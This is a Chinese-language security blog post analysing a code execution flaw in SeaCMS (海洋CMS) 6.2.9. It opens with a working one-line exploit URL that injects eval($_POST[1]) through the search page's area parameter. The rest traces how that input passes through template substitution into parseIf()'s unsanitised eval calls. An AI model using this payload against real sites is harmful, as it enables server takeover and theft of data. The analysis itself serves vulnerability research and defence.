海洋cmsV6.2.9 任意代码执行漏洞


exp

xxx/search.php?searchtype=5&tid=&area=eval($_POST[1])

分析

先去search.php看一下这几个参数的位置(13-31行)

$page = (isset($page) && is_numeric($page)) ? $page : 1;
$searchtype = (isset($searchtype) && is_numeric($searchtype)) ? $searchtype : -1;
$tid = (isset($tid) && is_numeric($tid)) ? intval($tid) : 0;
if(!isset($searchword)) $searchword = '';
$action = $_REQUEST['action'];
$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
if($cfg_notallowstr !='' && m_eregi($cfg_notallowstr,$searchword))
{
    ShowMsg("你的搜索关键字中存在非法内容,被系统禁止!","index.php","0",$cfg_search_time*1000);
    exit();
}
if($searchword==''&&$searchtype!=5)
{
    ShowMsg('关键字不能为空!','index.php','0',$cfg_search_time*1000);
    exit();
}

echoSearchPage();

令searchtype=5,满足25行的条件if($searchword==''&&$searchtype!=5)

第184行

$content=$mainClassObj->parseIf($content);

调用了函数parseIf(),定位函数看一下功能。位于/include/main.class.php第3087行

    function parseIf($content){
        if (strpos($content,'{if:')=== false){
        return $content;
        }else{
        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
        $labelRule2="{elseif";
        $labelRule3="{else}";
        preg_match_all($labelRule,$content,$iar);
        $arlen=count($iar[0]);
        $elseIfFlag=false;
        for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[2][$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                if (strpos($strThen,$labelRule3)>=0){
                    $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
            }else{
                $elseIfArray=explode($labelRule2,$strThen);
                $elseIfArrayLen=count($elseIfArray);
                $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
                $resultStr=$elseIfSubArray[1];
                $elseIfArraystr0=addslashes($elseIfArray[0]);
                @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
                for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
                    $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
                    $strElseIf=$this->parseStrIf($strElseIf);
                    $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
                    @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
                    @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
                    if ($elseIfFlag) {break;}
                }
                $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
                $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
                if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
                @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
                $content=str_replace($iar[0][$m],$resultStr,$content);
            }
        }
        return $content;
        }
    }

可以看到函数中有多出@eval,并且包含有变量,下面我们就对变量进行分析。

第3107行:@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

我们看一下这个变量$strIf是怎么来的

第3098和mai声明了变量$strIf

            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);

strif作为&iar[1]的元素,那么我们来看一下这个&iar是哪来的,在第3094行

preg_match_all($labelRule,$content,$iar);
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");

这里有一个正则匹配,$iar是匹配的结果。buildregx是对正则表达式格式加工的函数。

看一下被匹配的$content的内容。$content是在search.php中调用函数作为参数过来的,去search.php找一找。

    if($cfg_iscache){
        if(chkFileCache($cacheName)){
            $content = getFileCache($cacheName);
        }else{
            $content = parseSearchPart($searchTemplatePath);
            setFileCache($cacheName,$content);
        }
    }else{
            $content = parseSearchPart($searchTemplatePath);
    }

(117-126行)

在/install/config.cache.ini.php第80行可以知道,$cfg_iscache = ‘1’;,默认为1.上面定义了$searchTemplatePath=/templets/default/html/cascade.html

chkFileCache函数在common.func.php2395行,是用来判断是否存在相同的文件。如果有就直接从文件获取,没有就执行$content = parseSearchPart($searchTemplatePath);,下面190行是parseSearchPart函数。

function parseSearchPart($templatePath)
{
    global $mainClassObj,$tid;
    $currentTypeId = empty($tid)?0:$tid;
    $content=loadFile(sea_ROOT.$templatePath);
    $content=$mainClassObj->parseTopAndFoot($content);
    $content=$mainClassObj->parseAreaList($content);
    $content=$mainClassObj->parseHistory($content);
    $content=$mainClassObj->parseSelf($content);
    $content=$mainClassObj->parseGlobal($content);
    $content=$mainClassObj->parseMenuList($content,"",$currentTypeId);
    $content=$mainClassObj->parseVideoList($content,$currentTypeId);
    $content=$mainClassObj->parsenewsList($content,$currentTypeId);
    $content=$mainClassObj->parseTopicList($content);
    return $content;
}

这几个函数的功能都差不多,cascade.html作为一个模板的作用,各个函数都是为其添加各自的内容的

再往下来看到一个对searchtype的判断。

if(intval($searchtype)==5)
    {
        $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
        $jq = !empty($jq)?$jq:'全部';
        $area = !empty($area)?$area:'全部';
        $year = !empty($year)?$year:'全部';
        $yuyan = !empty($yuyan)?$yuyan:'全部';
        $letter = !empty($letter)?$letter:'全部';
        $state = !empty($state)?$state:'全部';
        $ver = !empty($ver)?$ver:'全部';
        $money = !empty($money)?$money:'全部';
        $content = str_replace("{searchpage:type}",$tid,$content);
        $content = str_replace("{searchpage:typename}",$tname ,$content);
        $content = str_replace("{searchpage:year}",$year,$content);
        $content = str_replace("{searchpage:area}",$area,$content);
        $content = str_replace("{searchpage:letter}",$letter,$content);
        $content = str_replace("{searchpage:lang}",$yuyan,$content);
        $content = str_replace("{searchpage:jq}",$jq,$content);
        if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
        if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
        $content = str_replace("{searchpage:state}",$state2,$content);
        $content = str_replace("{searchpage:money}",$money2,$content);
        $content = str_replace("{searchpage:ver}",$ver,$content);
        $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
        $content=$mainClassObj->parseSearchItemList($content,"type");
        $content=$mainClassObj->parseSearchItemList($content,"year");
        $content=$mainClassObj->parseSearchItemList($content,"area");
        $content=$mainClassObj->parseSearchItemList($content,"letter");
        $content=$mainClassObj->parseSearchItemList($content,"lang");
        $content=$mainClassObj->parseSearchItemList($content,"jq");
        $content=$mainClassObj->parseSearchItemList($content,"state");
        $content=$mainClassObj->parseSearchItemList($content,"ver");
        $content=$mainClassObj->parseSearchItemList($content,"money");
    }else

对变量进行了是否为空的判断,传入了参数就使用用户传入值否则为默认值。各变量被替换到模板里面。

这时候$content就是原来cascade.html经过替换组装后的内容。

这时候content进入parseIf()函数,经过preg_match_all($labelRule,$content,$iar);的匹配后会匹配出{if:(.*?)}这种形式的内容作为$strIf的值。在cascade.html中可以看到要匹配的内容

      <dl>
        <dd>&nbsp;{seacms:typeitemlist}{if: [typeitemlist:value]={searchpage:typename}}<b><a href="[typeitemlist:link]">[typeitemlist:value]</a></b>{else}<a href="[typeitemlist:link]">[typeitemlist:value]</a>{end if} {/seacms:typeitemlist}</dd>
        <dd>&nbsp;{seacms:areaitemlist}{if: [areaitemlist:value]={searchpage:area}}<b><a href="[areaitemlist:link]">[areaitemlist:value]</a></b>{else}<a href="[areaitemlist:link]">[areaitemlist:value]</a>{end if} {/seacms:areaitemlist}</dd>
        <dd>&nbsp;{seacms:yearitemlist}{if: [yearitemlist:value]={searchpage:year}}<b><a href="[yearitemlist:link]">[yearitemlist:value]</a></b>{else}<a href="[yearitemlist:link]">[yearitemlist:value]</a>{end if} {/seacms:yearitemlist}</dd>
        <dd>&nbsp;{seacms:letteritemlist}{if: [letteritemlist:value]={searchpage:letter}}<b><a href="[letteritemlist:link]">[letteritemlist:value]</a></b>{else}<a href="[letteritemlist:link]">[letteritemlist:value]</a>{end if} {/seacms:letteritemlist}</dd>
        <dd>&nbsp;{seacms:langitemlist}{if: [langitemlist:value]={searchpage:lang}}<b><a href="[langitemlist:link]">[langitemlist:value]</a></b>{else}<a href="[langitemlist:link]">[langitemlist:value]</a>{end if} {/seacms:langitemlist}</dd>
        <dd>&nbsp;{seacms:jqitemlist}{if: [jqitemlist:value]={searchpage:jq}}<b><a href="[jqitemlist:link]">[jqitemlist:value]</a></b>{else}<a href="[jqitemlist:link]">[jqitemlist:value]</a>{end if} {/seacms:jqitemlist}</dd>
        <dd>&nbsp;{seacms:stateitemlist}{if: [stateitemlist:value]={searchpage:state}}<b><a href="[stateitemlist:link]">[stateitemlist:value]</a></b>{else}<a href="[stateitemlist:link]">[stateitemlist:value]</a>{end if} {/seacms:stateitemlist}</dd>
        <dd>&nbsp;{seacms:veritemlist}{if: [veritemlist:value]={searchpage:ver}}<b><a href="[veritemlist:link]">[veritemlist:value]</a></b>{else}<a href="[veritemlist:link]">[veritemlist:value]</a>{end if} {/seacms:veritemlist}</dd>
        <dd>&nbsp;{seacms:moneyitemlist}{if: [moneyitemlist:value]={searchpage:money}}<b><a href="[moneyitemlist:link]">[moneyitemlist:value]</a></b>{else}<a href="[moneyitemlist:link]">[moneyitemlist:value]</a>{end if} {/seacms:moneyitemlist}</dd>
      </dl>

匹配到的内容是形如xx=xx这种形式,会经过parseStrIf()函数处理,看上面main.class.php的3099行。

function parseStrIf($strIf)
        {
                if(strpos($strIf,'=')===false)
                {
                        return $strIf;
                }
                if((strpos($strIf,'==')===false)&&(strpos($strIf,'=')>0))
                {
                        $strIf=str_replace('=', '==', $strIf);
                }
                $strIfArr =  explode('==',$strIf);
                return (empty($strIfArr[0])?'NULL':$strIfArr[0])."==".(empty($strIfArr[1])?'NULL':$strIfArr[1]);
        }

这个函数的作用就是看一下匹配到的内容有没有等号,没有直接返回,有的话将单等号替换成双等号返回。

然后作为$strIf的值拼接进eval执行。


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录